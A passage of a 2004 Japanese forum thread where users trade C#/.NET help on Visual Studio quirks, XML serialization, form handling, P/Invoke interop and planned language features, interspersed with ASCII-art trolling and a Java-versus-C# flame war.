558 名前:デフォルトの名無しさん mailto:sage [04/11/10 15:26:22] 取りあえず再現"する"最低限のソリューションから検証してみるべきだな。
559 名前:デフォルトの名無しさん mailto:sage [04/11/10 15:27:44] 煽りはお腹いっぱい、もういいです。
560 名前:デフォルトの名無しさん mailto:sage [04/11/10 15:33:38] ま、553もかなり人に面倒を押し付けているな。 最低限に切り分けてアップローダにアップしろと。
561 名前:デフォルトの名無しさん mailto:sage [04/11/10 16:06:17] ていうか549=553=559が釣りにしか見えない。
562 名前:デフォルトの名無しさん [04/11/10 16:08:12] 1台のPCで、仮想デリゲート串みたいなこと出来ませんか?
563 名前:デフォルトの名無しさん mailto:sage [04/11/10 16:10:05] たぶん >>549 のコントロールが、DesignMode 見て適切な処理をしていないってあたりに一票。
564 名前:デフォルトの名無しさん mailto:sage [04/11/10 16:12:56] \ ∩─ー、 ==== \/ ● 、_ `ヽ ====== / \( ● ● |つ | X_入__ノ ミ そんなエサで俺様がクマー!! 、 (_/ ノ /⌒l /\___ノ゙_/ / ===== 〈 __ノ ==== \ \_ \ \___) \ ====== (´⌒ \ ___ \__ (´⌒;;(´⌒;; \___)___)(´;;⌒ (´⌒;; ズザザザ (´⌒; (´>>
565 名前:デフォルトの名無しさん mailto:sage [04/11/10 16:53:29] つうか、普通はちゃんと動作する最小限のものをアップするんじゃなくて、 依頼者の”動作しない”最低限のものをアップするのが筋じゃないか? でもって、それを他の奴等が正常に動作するなら、PC環境が原因かもしれない。 他の奴も異常な動作をするなら、ソリューリョンが原因かもしれない。 とりあえずは動作しない最小限のソリューションをアップして、 そのソリューションのどの部分をどう変更したらVSが落ちるのかを明記しろ。 話はそれからだ。
566 名前:デフォルトの名無しさん mailto:sage [04/11/10 18:36:46] >>565 内部で完結してしまっている(というかpanel一枚おいただけ)ので DesignMode は関係ないのではと・・・思うのですが・・・ いろいろやってみた所、コントロールのDLLをプロジェクトコンパイルした後、 一度VSを起動しなおしてから、目的のプロジェクトをコンパイルすれば 同一リソリューション中にプロジェクトを入れても問題は発生しないようです。
567 名前:デフォルトの名無しさん mailto:sage [04/11/10 18:37:58] >>566 間違いです×>>565 ○>>563
568 名前:デフォルトの名無しさん mailto:sage [04/11/10 19:01:02] >>565 あんたが正しい。>>549 は厚かましいにもほどがあると思う。
569 名前:デフォルトの名無しさん mailto:sage [04/11/10 20:27:41] >>566 今ためしてみました。 1. 新規のソリューションに UserControl プロジェクトを追加。パネル1枚とLabelを配置。 2. Windows アプリケーションプロジェクトを追加。デザイナで上記のUserControlをFormに配置。 (参照は自動的に追加される) 3. (ビルドしたりする) 4. UserControl の Label の文字列を変更⇒「デザイナに反映するにはリビルドが必要です」とか言われる 5. おとなしくリビルド。Form 側のデザイナに文字列の変更が反映される。 という感じで特に問題は起きません。 同一ソリューション内のユーザーコントロールは、ツールボックスの「マイ ユーザー コントロール」に 自動的に追加されるわけだし、「同一リソリューション中にプロジェクトを入れても問題は発生しない」のが 普通なんだと思います。
570 名前:デフォルトの名無しさん [04/11/10 21:10:42] int a,b; Point p; p = new (a,b); ってするのと p.X = a; p.Y = b; ってするのとどっちが早いんですか? 生成されるコードは同じですか?
571 名前:デフォルトの名無しさん [04/11/10 21:21:07] >>569 わざわざどうも有難うございます、そうするともっと別のところに原因がありそうですね。 さらに調べてみます。 ちなみに僕のところでは「デザイナに反映するにはリビルドが必要です」が出ないんですよね。 何故だろう? 実は、xmlドキュメントも反映されないのですが、これはそちらでは反映されるものでしょうか? これも 1.dll側のプロジェクトをビルドする 2.VSを一旦落とす 3.再起動してアプリ側プロジェクトを操作する という形でないと、僕の所では自働補完が機能しません。 これもちょっと気になるのですが、もしお邪魔でなければ試してもらえませんでしょうか?
572 名前:570 mailto:sage [04/11/10 21:22:06] int a,b,c,d; Point p = new Point(c,d); に最初の二行を訂正します。
573 名前:デフォルトの名無しさん mailto:sage [04/11/10 21:42:17] >>570 自分で試せるし調べられるだろ?
574 名前:デフォルトの名無しさん mailto:sage [04/11/10 22:24:16] >>571 EXE側コード編集時にはインテリセンスは効くものの、XMLドキュメントで書いた情報は出てきません。 オブジェクトブラウザで見るとちゃんと見えるんだけど。 調べてみると、参照を追加した時点で XMLドキュメントが無いと出てこないみたいです。 参照を一旦削除して、再度追加してあげればOKでした(アセンブリ直指定ではなく、プロジェクト出力を追加しました)。 しかしこの状態では、DLLを更新した際にXMLドキュメントファイルのローカルコピーがVSによって使用中のため更新できずに、EXE側はビルドエラーになります(DLL自体は更新できるのに・・・)。 DLLへの参照について一旦ローカルコピーをFalseにしてビルド、再びONにしてビルドとか、 一旦終了してDLL側から順にビルドという手順が必要でした。 以下はXMLドキュメントを更新しようとした際のエラー >ファイル 'WindowsControlLibrary1.xml' を実行ディレクトリにコピーできません。 プロセスはファイルに >アクセスできません。別のプロセスが使用中です。 一時ファイルを出力ディレクトリにコピーできませんでした。 こういう構成の時には、DLL開発中はXMLドキュメントを生成しない方が良さそう・・・
575 名前:570 mailto:sage [04/11/10 22:44:24] Point[] p = new Point[9999999]; Point[] q = newPoint[9999999]; Point[] r = newPoint[9999999]; Point[] s = newPoint[9999999]; って一杯point作ってためしたら X,Yそれぞれに代入するほうが早かったです。
576 名前:デフォルトの名無しさん [04/11/11 17:47:02] XMLSerializerを使ってさんざんスレ汚しやってる>>454 その他です 度々で(´・ω・`)ですがおながいします public void func (Object obj) { MemoryStream ms = new MemoryStream(); XmlSerializer serializer = new XmlSerializer(obj.GetType()); serializer.Serialize(ms,obj); ・・・・ } 引数でボクシングされたオブジェクトをシリアライズしようとしたとき、 メンバがシリアライズされません(つД`) ><?xml version="1.0" encoding="utf-8"?> ><class2 xmlns:xsd="www.w3.org/2001/XMLSchema " xmlns:xsi="www.w3.org/2001/XMLSchema-instance " /> こんな感じになります。ちなみにClass2にはためしにstring型1個つっこんでます XmlSerializeを使ってボクシングしたオブジェクトのメンバをまるごとシリアライズする手段ってありますか?
577 名前:デフォルトの名無しさん mailto:sage [04/11/11 18:00:01] >>576 >ちなみにClass2にはためしにstring型1個つっこんでます それちゃんと public になってますか?
578 名前:デフォルトの名無しさん mailto:sage [04/11/11 18:11:58] >>577 できました ありがとうございました吊ってきます ・・・・オレのバカバカバカ・・・・
579 名前:デフォルトの名無しさん [04/11/11 19:53:05] homepage3.nifty.com/midori_no_bike/CS/ 上のページの、「実行時間の高精度な計測」というのを使ってみたくていろいろやってたのですが、 どうしてもusingと;のところで「無効なトークン・・・」というビルドエラーが出でしまいます。 どうしたらよいでしょうか。 VSのC#使ってます
580 名前:デフォルトの名無しさん mailto:sage [04/11/11 20:01:25] >>579 usingはコードの先頭、他にも色々usingされてるところに書く。
581 名前:デフォルトの名無しさん mailto:sage [04/11/11 20:04:57] >>579 そのページのコード、間違ってるような気がする。using ステートメントのカッコの中は、 1. 式 2. 型名 変数名 = 式 [, 変数名 = 式 ] ... のどちらかという形式で、そのページにあるように変数宣言やら式やらを混ぜてカンマで並べたりはできない。 >>578 のいう using はたぶんまた別の using なので無視。
582 名前:581 mailto:sage [04/11/11 20:05:50] 首吊ります・・・ orz 嘘
583 名前:579 [04/11/11 20:07:15] >>780 ごめんなさい、自分の貧弱な脳みそでは理解できないのですが、 こういうことですか? using System.Runtime.InteropServices ; // for DllImport ・・・ private void button1_Click(object sender, System.EventArgs e) { ・・・ }
584 名前:デフォルトの名無しさん mailto:sage [04/11/11 21:46:32] >>579 うろ覚えだから難だがコピペして実行しようとしたときオレも using System.Runtime.InteropServices ;でコケた んで、なぜかintelliSenseで同じ内容指定したら動いた
585 名前:デフォルトの名無しさん mailto:sage [04/11/11 21:54:37] } がありません って言うコンパイルエラーがなぜか出て ファイル内のテキストを丸ごと切り取って貼り付けたら 正常にコンパイルできたことがあったなあ
586 名前:579 [04/11/12 07:48:29] 解決しました。 using.System.Runtime〜を一番上の using〜というのがたくさんある所 に置いたら実行出来ました。 ありがとうございました。
587 名前:デフォルトの名無しさん [04/11/12 10:54:21] C#ちょこっと触って、やっぱVB.netにして、「すげえー便利最高」って 思って、やっぱC#の方がいいかなとおもって、迷ってんだけど。 絶対C#がいいってとこある?
588 名前:デフォルトの名無しさん mailto:sage [04/11/12 10:58:40] べつに〜
589 名前:デフォルトの名無しさん mailto:sage [04/11/12 11:03:34] VB系に慣れてたらVB.NET、C/JAVA系に慣れてたらC#。 私はVBの文法が大ッ嫌いなのでC#。
590 名前:デフォルトの名無しさん [04/11/12 12:06:42] >588 別にーってお前なー。なんか言うことないんか? >589 マイコンはCで、PCはVB6で EXCELとAutocadとVisioと、、、、はVBAなの。 JAVAって20年?も前の言語だろ。 今頃になって真似してマトモニなっても、VBで脳みそ破壊されてるからなー。
591 名前:デフォルトの名無しさん mailto:sage [04/11/12 12:11:47] まず日本語から勉強するべきだな。
592 名前:デフォルトの名無しさん [04/11/12 13:29:41] 植民地だし、英語だろ。
593 名前:デフォルトの名無しさん mailto:sage [04/11/12 15:26:54] PictureBoxにAllowDropのプロパティがないのに、Drag&Dropのイベントハンドラがあるのは、ライブラリの設計ミスか? デフォルトでnoneになって、メッセージ発生しないんだが・・・。
594 名前:デフォルトの名無しさん mailto:sage [04/11/12 15:49:42] >>593 なぜかEditorBrowsableAttributeもBrowsableAttributeも不可視の設定になってるから インテリセンスにもプロパティグリッドにも表示されないけど、 AllowDrop{get; set;}はあるしtrueにしてやれば普通にD&Dも可能。 //やっぱり中途半端……。
595 名前:デフォルトの名無しさん mailto:sage [04/11/12 15:51:06] >>593 つ[インシデント]
596 名前:デフォルトの名無しさん mailto:sage [04/11/12 17:42:36] >>574 OCNがアク禁になっていたので遅レスです、どもわざわざ有難うごさいます。 XMLに関しては同じです、コントロールのところだけの問題か……むむむ 取りあえず助かります。
597 名前:デフォルトの名無しさん [04/11/12 23:37:17] CreateDIBSectionを使っているのですが、 どうやったら、PictureBOXのhDCを取得できますでしょうか? C#でCreateDIBSectionを使ったサンプル等ありましたら、 お教えください。よろしくお願いします。
598 名前:デフォルトの名無しさん mailto:sage [04/11/12 23:43:11] \ │ / / ̄\ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ─( ゚ ∀ ゚ )< くっちゃらはぴはぴ! \_/ \_________ / │ \ ∩ ∧ ∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\∩ ∧ ∧ \( ゚∀゚)< くっちゃらはぴはぴ! Py厨〜〜〜〜! >( ゚∀゚ )/ | / \__________ ________/ | 〈 | | / /\_」 / /\」  ̄ / /
599 名前:デフォルトの名無しさん mailto:sage [04/11/12 23:47:59] PictureBox.CreateGraphics().GetHdc() ReleaseHdc()とGraphics.Dispose()もセットで。 ttp://www.codeproject.com/bitmap/dibsection.asp?select=287473&df=100&forumid=56&exp=0 DIBSectionのラッパクラスだそうだ。
600 名前:デフォルトの名無しさん mailto:sage [04/11/12 23:59:30] NUnitだけど、exeファイルをテストする事は出来ないよね? で、以下のような仕組みにしている。 作成中のプロジェクトをWindowsアプリからクラスライブラリに変更 -> MyAppCore.dll 作成中のプロジェクトを走らせるだけのWindowsアプリ・プロジェクトを作成 -> MyAppRunner.exe(MyAppCore.dllを参照に追加) 内部的なコードはMyAppCore.dllの起動関数を呼び出すだけ。 テストプロジェクト -> Test.dll(MyAppCore.dllを参照に追加) まぁなんというか、もっとスマートなやり方はないのかなと思った次第。
601 名前:デフォルトの名無しさん mailto:sage [04/11/13 00:17:15] >>600 少なくともVer2.2ならできるよ
602 名前:600 mailto:sage [04/11/14 10:00:00] 2.2使ってます。 自分はテストコードをアプリ本体に入れたくないんですよね。 テストとアプリのプロジェクトを分けるとテスト側からアプリのコードを呼ぶために アプリ側をDLLにしなくちゃいけない・・・ って、今、思いついたんだけど、テストコードを全部#if DEBUGで くくっとけばいいのか! なわけで、解決っぽい。
603 名前:デフォルトの名無しさん mailto:sage [04/11/18 16:46:30] ShowDialogで表示したダイアログを移動した時 元のフォームも一緒に移動したいのですが 可能でしょうか? 可能な場合どのようにすればいいのでしょうか
604 名前:デフォルトの名無しさん mailto:sage [04/11/18 17:07:01] >>604 お兄さんそりゃFormでダイアログもどき作った方が楽でっせ
605 名前:603 mailto:sage [04/11/18 17:26:57] すいません。言葉足らずでした。 メインフォームがあって編集用のフォームを メインフォームの上にモーダルで表示したとして、 編集用のフォームを移動した時に、 メインフォームも一緒に動かしたいなと思ったのです。
606 名前:デフォルトの名無しさん mailto:sage [04/11/18 17:52:59] >>605 ダイアログフォーム呼出時に、ダイアログフォームのOwnerプロパティに親フォーム自身を設定する。 ダイアログフォームの方で、 位置保存用のメンバ変数を作っておく。 Moveイベントで、Ownerプロパティから親フォームの位置を設定し、その後位置保存用変数を更新する。 基本はこんな感じ。 初めの位置保存はLoadかVisibleChangedでやるのが妥当かな。 Moveイベントへのイベントハンドラ追加もLoadでやるか、Moveイベント内でCreatedをチェックするかとか。 //MoveがMoveEventArgsとか言って移動前の位置のプロパティを持っててくれれば楽なのになー。
607 名前:在日外国人参政権反対 mailto:sage [04/11/18 18:02:02] きくまえにMoveWindowとか試してみろよ。
608 名前:デフォルトの名無しさん mailto:sage [04/11/18 22:46:15] そうだな。それっぽい名前のを色々弄ってみるのは大事だと思うよ。
609 名前:603 mailto:sage [04/11/19 04:43:21] >>606 さん。レスありがとうございます。 とりあえず以下のようにやってみましたが上手くいきませんでした。 MainFormとEditFormがあったとして MainFormでButton1をクリックしたときに EditForm editDialog = new EditForm(); editDialog.ShowDialog(this); としてEditFormで public static int x,y; //Location用変数(publicはとりあえずで付けました) private void EditForm_Move(object sender, System.EventArgs e) { x = this.Location.X; y = this.Location.Y; ここにMainForm.Location = new Point(x,y); 見たいな事が出来れば良いんですよね? 色々弄ってみたのですが分かりませんでした (-- } >>Moveイベントへのイベントハンドラ追加もLoadでやるか、Moveイベント内でCreatedをチェックするかとか。 すいません。この意味が分かりませんでした。
610 名前:デフォルトの名無しさん mailto:sage [04/11/19 08:01:59] public class Form1 : System.Windows.Forms.Form { //中略 private void button1_Click(object sender, System.EventArgs e) { Form f; f = new Form(); //f = new EditForm(); f.Move += new EventHandler(childForm_Move); f.ShowDialog(this); } private void childForm_Move(object sender, EventArgs e) { Form f = (Form)sender; int x = f.Location.X - 100; int y = f.Location.Y - 100; this.Location = new Point(x, y); } }
611 名前:603 mailto:sage [04/11/19 10:04:31] >>610 さん 見事に動きました! それにしてもインテリセンスで「TABキーを押してください」って こんな指示始めてみましたよ。(^^;; ありがとうございました。 MainFormがくっついて動いているのが嬉しくて意味もなく動かしニヤってしてみたり。。
612 名前:初心者 [04/11/19 21:49:40] C/C++でマウスの座標を表示させるにはどうしたらいいでしょうか。
613 名前:デフォルトの名無しさん mailto:sage [04/11/19 21:53:40] >>612 スレ違い。 www.kumei.ne.jp/c_lang/sdk2/sdk_101.htm でも読んでください。
614 名前:デフォルトの名無しさん mailto:sage [04/11/19 21:55:53] > 当ホーム・ページの一部または全部を無断で複写、複製、転載 > あるいはコンピュータ等のファイルに保存することを禁じます。 ブラウザのキャッシュ消すのまんどくせ
615 名前:初心者 [04/11/19 22:10:41] ありがとうございました。とりあえず何とかなりそうです。
616 名前:デフォルトの名無しさん mailto:sage [04/11/20 16:24:44] Formにいろいろ描きたいので private void Form3_Paint(object sender, System.Windows.Forms.PaintEventArgs e) に記述したのですが、 リサイズ時に再描画されるときとされないときがあるみたいです。 されないときは一度最小化してから元に戻すと再描画されるのですが リサイズ時に確実に再描画されるほうほうってないでしょうか?
617 名前:デフォルトの名無しさん mailto:sage [04/11/20 16:26:47] ResizeRedraw
618 名前:616 [04/11/20 23:58:04] >>617 さん ありがとうございました。 ぶじ動くようになりました。
619 名前:デフォルトの名無しさん [04/11/22 10:07:34]
620 名前:デフォルトの名無しさん mailto:sage [04/11/22 17:00:39] クラスをいくつかのファイルの分割して記述する方法はあるんでしょうか? もしあったら教えてください。
621 名前:デフォルトの名無しさん mailto:sage [04/11/22 19:32:31] >>620 partialキーワードがC# 2.0から追加される。
622 名前:デフォルトの名無しさん [04/11/26 13:13:34] C#って、アセンブリで言うgoto命令のような物ってありますか? あれば教えてください。
623 名前:デフォルトの名無しさん mailto:sage [04/11/26 13:18:20] 普通にgotoがある。 ネストループからの脱出以外に使うべきではないが。
624 名前:デフォルトの名無しさん mailto:sage [04/11/26 13:32:27] つうか言語仕様ぐらい大した量でもないんだから全部目を通せと。
625 名前:デフォルトの名無しさん mailto:sage [04/11/26 13:59:29] せめてキーワードくらいはなぁ・・・
626 名前:622 [04/11/26 15:42:40] 623-625 ありがとうございます もっかい勉強しなおします…
627 名前:デフォルトの名無しさん mailto:sage [04/11/26 16:04:00] >>626 C#のgotoはswitch 文の case とかを飛び先としても指定できるように拡張されているので、 いろいろみてみると面白いよ。 どうせなら、gcc拡張的なgotoの拡張もついでにやってくれるといいんだけど・・・
628 名前:デフォルトの名無しさん [04/11/27 15:16:17] 正直いって .NET って時期尚早って感じがする。 広くに使われるようになるまでに後5年はかかると見た。
629 名前:デフォルトの名無しさん mailto:sage [04/11/27 15:33:56] 5年もかからないよ 後2年で半分は消滅する WindowsFormクラスは消滅けってい GDI+もいらなくなる すべてロングホーンが悪い
630 名前:デフォルトの名無しさん mailto:sage [04/11/27 15:35:50] ロングホーンってヘヴィィそうだね。 使いたいと思わないな。 Windows 2000 が最高。
631 名前:デフォルトの名無しさん [04/11/27 15:47:45] C# と Java の違い教えろ。 // Java >>>>> C# なのは自明なんだがな。。。
632 名前:デフォルトの名無しさん mailto:sage [04/11/27 15:50:05] >>631 少しも自明じゃない。
633 名前:デフォルトの名無しさん mailto:sage [04/11/27 15:50:34] 火病書き込みに反応すんなよ
634 名前:デフォルトの名無しさん [04/11/27 15:52:20] >>632 ライブラリの充実性からいって自明だろ。 それにJava のソースは公開されてるしな。 格が違いすぎるんだよ。
635 名前:デフォルトの名無しさん mailto:sage [04/11/27 15:52:35] 自演に反応すんなよ
636 名前:デフォルトの名無しさん mailto:sage [04/11/27 15:53:47] >>634 そうかな。Java のほうが充実していると一概に言えるか? ソース公開は確かによいが。
637 名前:デフォルトの名無しさん [04/11/27 15:54:20] お い は や く し ろ よ C # 厨
638 名前:デフォルトの名無しさん [04/11/27 15:55:40] 公開されていない部分があったような...なんだったっけ
639 名前:デフォルトの名無しさん mailto:sage [04/11/27 15:56:17] 残念ながらC#は仕様が公開されてますので ソースがほしけりゃmonoのソースでもみてください Javaはソースコード見た時点で いろんなプロジェクトに参加できなくなるという恐ろしいライセンスつきですが?
640 名前:デフォルトの名無しさん [04/11/27 15:56:18] >>636 > そうかな。Java のほうが充実していると一概に言えるか? 言える。
641 名前:デフォルトの名無しさん [04/11/27 15:57:15] >>639 > Javaはソースコード見た時点で > いろんなプロジェクトに参加できなくなるという恐ろしいライセンスつきですが? 見たって言わなきゃいーんだよ。そんぐれー考えろ
642 名前:デフォルトの名無しさん mailto:sage [04/11/27 15:57:18] まぁ速度はJavaのほうが2倍かかるけどな あとはマ板でやってちょ ●なぜJava厨はそんなに劣っているのか? 8 pc5.2ch.net/test/read.cgi/prog/1101209533/
643 名前:デフォルトの名無しさん mailto:sage [04/11/27 15:59:59] >>640 C# のほうが充実している部分もあるのだが。
644 名前:デフォルトの名無しさん [04/11/27 16:00:15] は や く 何 か 反 論 し な さ い 、 C # 厨 君 w w w
645 名前:デフォルトの名無しさん mailto:sage [04/11/27 16:12:45] なんか盛り上がってますね
646 名前:デフォルトの名無しさん mailto:sage [04/11/27 16:35:49] いやべつに
647 名前:デフォルトの名無しさん mailto:sage [04/11/27 17:33:33] 暴言語は冗談抜きで死滅寸前だからな
648 名前:デフォルトの名無しさん mailto:sage [04/11/27 22:03:04] 言語としての機能は、後発のC#のが多少上。 ライブラリの充実度はjakartaやその他もろもろのオプソ集団を要するJavaのが上。 業務では、GUI作らないならJavaを用いるのが普通。
649 名前:デフォルトの名無しさん mailto:sage [04/11/28 01:52:43] シェアで言えばJAVAよりVB.NET2005にヤラレそうな気がする
650 名前:デフォルトの名無しさん mailto:sage [04/11/28 11:51:59] VBは今現在でもC#より上、将来は知らんがね。
651 名前:デフォルトの名無しさん mailto:sage [04/11/28 12:24:08] えぇぇぇぇ
652 名前:デフォルトの名無しさん mailto:sage [04/11/28 12:27:21] お前ら>>1 読めと。 ここは言語の優劣を語るスレではないぞと。
653 名前:デフォルトの名無しさん mailto:sage [04/11/28 15:03:14] 最高に頭悪そうな発言してください in ム板 (2) pc5.2ch.net/test/read.cgi/tech/1090324689/ かと思ったじゃねぇか
654 名前:デフォルトの名無しさん mailto:sage [04/11/30 00:09:17] C#を学習する練習とおもい、メモ帳もどき+αを作成して 完成したのですが、巨大なファイルの表示に時間が 掛かります。 秀丸エディタさんとまではいかないでも、少しは 早く表示できるようにするには、どうすればよいのでしょうか。 textBoxを1から自分で作成し直すにしても、その考え方の ヒントだけでも教えてください。
655 名前:デフォルトの名無しさん mailto:sage [04/11/30 00:21:03] VirtualModeみたいなもんか
656 名前:デフォルトの名無しさん mailto:sage [04/11/30 01:04:22] C#の学習のためなら、もっと他にやることあるんじゃないのか… と思ったら負けですか?
657 名前:654 mailto:sage [04/11/30 01:18:21] >>656 元々勝ち負けのない趣味のプログラムなのですが、 他にといわれても。文法から始めろと? >>655 VirtualMode?を調べてみます。 ありがとうございます。
658 名前:デフォルトの名無しさん mailto:sage [04/12/03 06:51:53] >>654 ReadLineで処理してるんじゃない? だったら、ReadToEndで読んでみては? FileStream fs = new FileStream("ファイルのパス",FileMode.Open); StreamReader sr = new StreamReader(fs); textBox1.Text = sr.ReadToEnd(); ところでVC#.Net2005っていつ発売なの? はやく.Net Freamwork2.0を使ってみたい・・・
659 名前:デフォルトの名無しさん mailto:sage [04/12/03 14:21:06] >>658 早くて来夏だろうねぇ。 環境があるなら、β1を試してみたら? 十分に正式版に向けて準備ができると思うけど。 それに、今ならAvalonのPreviewも出てて、楽しいと思うし。
660 名前:デフォルトの名無しさん mailto:sage [04/12/04 10:53:23] Avalon previewは現状MSDN会員のみだよね?
661 名前:デフォルトの名無しさん mailto:sage [04/12/04 19:44:57] フォームの最小化ボタンを押した時みたいに this.Hide(); this.ShowInTaskbar = true; と言う状態にしたいのですが何か方法があるのでしょうか?
662 名前:デフォルトの名無しさん mailto:sage [04/12/04 19:48:40] >>661 それで良いんじゃないのか?
663 名前:661 mailto:sage [04/12/04 20:09:22] >>662 いや、やってみたら分かるけど this.Hide(); とすると this.ShowInTaskbarを弄っても反映されないみたい Locationをどっか遠くに設定するしかないのかな?
664 名前:デフォルトの名無しさん mailto:sage [04/12/04 20:19:57] this.WindowState = FormWindowState.Minimized; じゃいかんの?
665 名前:661 mailto:sage [04/12/04 20:41:29] >>664 レスありがとうございます。 それでイケました。
666 名前:デフォルトの名無しさん mailto:sage [04/12/05 12:08:19] C#でC++でいうマクロのようなものってあるんでしょうか? マクロとテンプレート使ってトリッキーなことしてたのでそれをC#で実現する方法がわからなくて困ってます。
667 名前:デフォルトの名無しさん mailto:sage [04/12/05 12:11:48] トリッキーな事はやらない方向にと言うのが言語の潮流。
668 名前:デフォルトの名無しさん mailto:sage [04/12/05 12:27:53] そんな正論言ってもしゃーないやん
669 名前:デフォルトの名無しさん mailto:sage [04/12/05 23:03:06] たぶん、むりぽ。次期バージョンでテンプレートはいるらしいけど。
670 名前:デフォルトの名無しさん mailto:sage [04/12/05 23:25:12] テンプレートはかなり期待。
671 名前:デフォルトの名無しさん mailto:sage [04/12/05 23:31:20] C++みたいなのだったらやだな。 へたに型とかみなくていいから、単にテンプレート変数を 自分の書いた文字で置き換わってコンパイルされるだけでいい。 そっちのがいろいろ使い道ある。
672 名前:デフォルトの名無しさん mailto:sage [04/12/05 23:37:01] >>671 単純置換は止めてくれ。C++ の如くアセンブリが肥大化する。
673 名前:デフォルトの名無しさん mailto:sage [04/12/06 00:02:58] >>671 むしろC++見たいなので、単純置換でないものがいいな、 もし型の置き換えだけであれば、テンプレートよりもメタクラスの実装の方が何倍も綺麗でいいと思うし。 てか、なんでメタクラスは実装されないんだろう……シクシクシク
674 名前:デフォルトの名無しさん mailto:sage [04/12/06 00:04:53] >>673 メタクラスはクラスのクラスだっけか smalltalk やった事無いから分からん
675 名前:デフォルトの名無しさん mailto:sage [04/12/06 00:08:25] >>674 とどのつまり型を入れることのできる変数。 Metaclass a = int ; a b ; は int b ; たとえばこんな感じ void Func( Metaclass T , int hoge , ... ) { } template 全くいらない
676 名前:デフォルトの名無しさん mailto:sage [04/12/06 00:08:28] >>673 リフレクションじゃだめなのか?
677 名前:デフォルトの名無しさん mailto:sage [04/12/06 00:15:04] >>675 Type
678 名前:デフォルトの名無しさん mailto:sage [04/12/06 00:38:11] >>677 それは何かが違う C++ でいえば typedef と type_info 型ぐらい違うな
679 名前:デフォルトの名無しさん mailto:sage [04/12/06 00:40:21] もう型なんてなくていいよ
680 名前:デフォルトの名無しさん mailto:sage [04/12/06 00:44:47] スクリプト言語で型無しではまったことないの?
681 名前:デフォルトの名無しさん mailto:sage [04/12/06 01:22:42] C#(というか.NET)でLuaを使っているサンプルはどこかにないでしょうか。 当方で探しても見つかりませんでした。
682 名前:デフォルトの名無しさん mailto:sage [04/12/06 01:36:42] >>681 それはこれのこと? ttp://bandodalua.lua.inf.puc-rio.br/luanet/
683 名前:デフォルトの名無しさん mailto:sage [04/12/06 02:09:29] ttp://www.codeproject.com/managedcpp/luanetwrapper.asp > So what about executing Lua script in .NET applications? > This should not be a major problem, just the matter of writing a managed C++ wrapper.
684 名前:デフォルトの名無しさん mailto:sage [04/12/07 03:49:48] かなり基本な質問です、C/C++で書かれたライブラリ (.NETとか関係なけりゃクラスすらないような)を、C#で 使用する方法は無いのでしょうか なんとなくムリかなとは思うのですが、あまりに基本な ためかどこのFAQを読んでもハッキリした答えがなくて モヤモヤしてます。C/C++で作られた資産を移植しようと すると、やはり手作業が入るものでしょうか ズバッと斬ってやって下さい orz
685 名前:デフォルトの名無しさん mailto:sage [04/12/07 04:11:39] P/Invokeという手法で使用できる。 例えばWin32API呼出もC用ライブラリの呼出と考えられる。 関数のエントリポイント、値渡し参照渡し、相互の型の対応などを考える必要はあるが、基本はこんな感じ。 [System.Runtime.Interopservices.DllImport("user32.dll")] public static extern uint SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); 詳しくはヘルプを見るべし。 ms-help://MS.VSCC/MS.MSDNVS.1041/cpguide/html/cpconconsumingunmanageddllfunctions.htm
686 名前:デフォルトの名無しさん mailto:sage [04/12/07 06:09:08] >>684 DLLなら>>685 の言うようにP/Invokeで利用可能。 そうでないなら、COMやDLLにするかManaged C++でラッパを書いて利用する。 漏れはP/InvokeメンドクサイのでCOMコンポーネント経由でやったりするのが好きなんだけど、 Windows XP以外ではインストーラが必須になるので嫌う向きもあるみたい。
687 名前:デフォルトの名無しさん mailto:sage [04/12/07 16:32:28] >>675 おおーすげー便利そう・・・ C#2.0に欲しいなぁ メタクラスで指定した型の戻り値が欲しい時はどうするの? object Fanc( Metaclass T, int hoge, ...) { } ならちとイヤーな感じw
688 名前:デフォルトの名無しさん mailto:sage [04/12/07 17:48:59] >>675 リフレクションのシンタックスシュガーか・・ どんなときに便利なの?
689 名前:デフォルトの名無しさん mailto:sage [04/12/07 18:08:09] >>675 それって実行時にすっ飛ぶんだよね えらーしょりしにくくね?
690 名前:デフォルトの名無しさん mailto:sage [04/12/07 20:24:52] >>675 C#の設計思想と全然合わないな。異物を混ぜるなって感じ。
691 名前:デフォルトの名無しさん mailto:sage [04/12/07 22:09:54] >>675 悪くはないと思うけど、T 型を返すときはどうすんの?
692 名前:デフォルトの名無しさん mailto:sage [04/12/07 22:27:30] >>685 さん >>686 さん ありがとうございます。 てっきりC++のコードが使えないと思ってたので 助かりました。安心してC#を勉強できそうです。 さっそくDLL作成のほうに手をつけてみます。
693 名前:デフォルトの名無しさん mailto:sage [04/12/07 22:31:38] >>688 Type で reflection って面倒だから、シンタックスシュガーには意味あるんじゃない? でもテンプレートの代わりにはならないような気が・・・ template <class T> T Max(T a, T b) なんてのから、型推論で T を導出してくれて こそのテンプレートだし。若干 C++ マンセー入っちゃってるけど。
694 名前:デフォルトの名無しさん mailto:sage [04/12/07 22:33:24] 先に予想してみるテスト。 >>692 ポインタもWindowsのハンドルもIntPtr型だ。
695 名前:デフォルトの名無しさん mailto:sage [04/12/07 22:35:21] 漏れも >>692 コールバックも書けるから安心してください(MSDN参照)。
696 名前:デフォルトの名無しさん mailto:sage [04/12/07 23:25:40] >>693 ,688 シンタックスシュガーではないと思われ
697 名前:デフォルトの名無しさん mailto:sage [04/12/07 23:42:59] >>691 boostとか見てると良く分かるけれど、戻り値が型推というのはバクダンになりやすいので、使わないというのは有りかと思います。 この形式ではやるとしたら構造体かなにかで型と実体のペアを作って返すしかないですね。 >>690 C#の設計思想など知りませんが、少なくともよりオブジェクト指向的ではあろうかと……
698 名前:デフォルトの名無しさん mailto:sage [04/12/08 12:56:45] >>696 いや、シンタックスシュガーだと思うよ。だって、 ・変数宣言ができる ・メソッド等のInvokeが普通の書き方でできる っていう、純粋に記法の追加でしかないし。 即値を渡せばコンパイル時に型を決定して最適化はできるだろうけど・・ 関係ないけど全然Metaclassじゃなくて単にClassだよね。 >>697 型推論はともかく、T Max(T a, T b) 程度が書けないのでは記述能力不足・・・
699 名前:デフォルトの名無しさん mailto:sage [04/12/08 14:48:20] >>698 リフレクションをシンタックスシュガーということにしてしまうと、全てがシンタックスシュガーになってしまわないか? それは何か違う気がするんだが・・・
